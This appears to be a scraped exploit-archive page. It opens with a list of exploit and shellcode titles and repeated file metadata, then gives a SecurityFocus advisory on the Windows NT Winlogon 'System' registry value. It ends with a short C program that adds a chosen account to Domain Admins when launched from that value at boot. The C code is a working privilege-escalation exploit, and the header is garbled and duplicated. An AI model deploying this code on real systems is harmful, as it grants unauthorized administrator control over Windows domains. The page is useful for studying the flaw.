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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
30 lines
No EOL
1.4 KiB
C
30 lines
No EOL
1.4 KiB
C
// source: https://www.securityfocus.com/bid/182/info
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The default ACL over the HKEY_Local_Machine\Software\Microsoft\Windows NT\CurrentVersion\Winlogon key "System" value includes an entry for Server Operators:Special. The Special setting allows Server Ops to "Set" this value. A malicious System Operator could place reference to a trojan in this entry. This trojan would be executed under system privileges the next time the system is booted. As the trojan has been called by the system, the system account has privileges to execute code that would elevate the permission of a selected account to "administrator".
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Due to the command parsing in this registry key, it is not possible to execute anything "interactive" (ie User Manager, Server Manager), anything with command line arguments, or anything that attempts to interact with the LSASS immediately after logon. Sample code has been posted in the exploit section that will perform privilege escalation without any of the above limitations.
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/* GetadmforSops.exe - David Litchfield 11 Jan 1999 */
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/* Compile with eg Visual C++ and link with netapi32.lib */
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#define UNICODE
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#include <windows.h>
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#include <wchar.h>
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#include <lmaccess.h>
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#include <winbase.h>
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int __cdecl wmain (void)
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{
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LPWSTR group = L"Domain Admins";
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LPWSTR acc = L"acc_name";
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NET_API_STATUS nas=0;
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_sleep(180000);
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if( (nas=NetGroupAddUser(NULL, group, acc)) == 0)
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{
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wprintf(L"Success");
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return 0;
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}
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return 0;
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} |